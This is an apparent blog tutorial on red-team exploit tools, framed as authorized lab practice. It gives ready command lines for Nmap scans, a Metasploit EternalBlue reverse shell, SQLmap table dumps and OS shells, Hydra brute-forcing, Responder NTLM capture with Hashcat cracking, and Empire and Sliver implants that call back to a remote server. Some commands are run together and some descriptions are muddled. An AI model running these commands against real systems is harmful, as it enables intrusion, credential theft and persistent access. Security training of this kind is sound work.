• Posted by: Eng. Donya Bino
• January 25, 2026

Red Team Exploit Tools

Red teams simulate real-world attacks ethically (with permission) to identify vulnerabilities before malicious actors do. Exploit tools automate discovery, access, and demonstration of impact. All examples below are for authorized testing only use in personal labs (e.g., VirtualBox with Kali Linux + vulnerable VMs like Metasploitable 3 or DVWA). Never target live systems without explicit written approval.

Practical examples of Core Tools
1. Nmap (Network Discovery) Practical: is used to map out networks while identifying services located within a network and help determine possible exploitation vectors. 
Sample Basic Types of Scans:  
nmap -sV -O 192.168.1.100 
Aggressive scan with scripts: 
nmap -sC -sV -A -T4 -oN aggressive_scan.txt 192.168.1.0/24 
Vulnerability Scan using NSE Scripts: 
nmap --script vuln 192.168.1.100

2. Metasploit Framework is a commercial suite used to exploit known vulnerabilities and provides ready-made modules to quickly implement exploits.
EternalBlue (MS17-010) example: msfconsoleuse exploit/windows/smb/ms17_010_eternalblueset RHOSTS 192.168.1.50set PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 192.168.1.10 (your IP) 
exploit After success (in Meterpreter): getuid, sysinfo, screenshot

3. SQLmap is an automated test tool to exploit vulnerabilities in web applications’ databases. Example Basic Tests: sqlmap -u "http://target.com/page.php?id=1" --batch --level=3 --risk=3 List databases: sqlmap -u "http://target.com/page.php?id=1" --dbs 
Dump specific table: sqlmap -u "http://target.com/page.php?id=1" -D testdb -T users --dump --columns username,password

4. Hydra is a tool for assessment of credentials strength using brute-force attack methodology. Sample SSH Brute-Force Application: 
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 HTTP POST login form: hydra -l user -P passwords.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^&submit=Login:Invalid credentials" FTP example: hydra -L users.txt -P pass.txt ftp://192.168.1.100

5. Responder is used to spoof name resolution to capture NTLM hashes from local networks. Basic run: responder -I eth0 -dwFPv Analyze captured hashes later with Hashcat: hashcat -m 5600 captured.ntlmv2 /usr/share/wordlists/rockyou.txt

6. Searchsploit allows for rapid location of exploit codes from Exploit-DB. Search: searchsploit apache struts Mirror exploit:
 searchsploit -m exploits/linux/remote/12345.py Then edit/run in a safe context.

7. Empire is used to provide means of maintaining access after gaining an initial foothold for false persistence. It contains both PowerShell and Python agents. 
Start Empire server:
./empire --rest (or classic mode) Listener setup: listenersuselistener httpset Host 0.0.0.0set Port 80execute Stager generation: usestager multi/launcherset Listener httpgenerate Use generated code on target to get agent callback, then: agents, interact <agent_id>, usemodule powershell/lateral_move/invoke_smbexec

8. Sliver will provide cross-platform exploitation and post-exploitation use of implants. Common use for 2025-2026. Cross-platform post-exploitation with implants. 
Start server: 
./sliver-server Generate implant: generate --mtls yourdomain.com --save /tmp/implant.exe On target (simulated): Run implant → callback to server. Sessions: sessions Interact: use <session_id> Run commands: execute whoami, upload /local/file /remote/path, screenshot

Example of Normal Workflow for a Combined Command-Based Red Team (CT/BM).
1. Recon: nmap -sC -sV -oN recon.txt 192.168.1.0/24
2. Exploit web vuln: sqlmap -u "http://192.168.1.50/vuln.php?id=1" --os-shell
3. Additionally, Metasploit may be utilized for an OverFlow attempt via Buffer Overflow.
4. Post-exploit: Deploy Empire/Sliver implant for persistence demo.
5. Credential harvest: responder -I eth0
6. Crack: john hashes.txt or hashcat ...

Tips for Safe Learning and Prevention
1. Laboratories before anything else: Create a home lab with Kali + vulnerable devices. Tools are included in Kali Linux by default.
2. Centricity of Prevention: Keep your systems updated using patches; enforce multi-factor authentication (MFA); investigate all strange networks with tools like Wireshark.
3. Awareness: Know how to conduct basic Nmap scans on your wireless router/network for exposure.
Red teaming allows you to convert possible catastrophes into lessons that could have been prevented through ethical and controlled methods.

Key Takeaways
Red teaming demonstrates to prospective threat actors the potential risks associated with tools such as Metasploit, SQLmap, Hydra, Empire and Sliver. These options enable red teams to demonstrate to potential victims how to interpret the command structure of exploits thoroughly while teaching them the meaning of the commands that comprise the exploits. 

It also allows them to understand how effectively performing basic hygiene by implementing system updates, multi-factor authentication (MFA), and performing network monitoring will deter 90% of cyber attacks.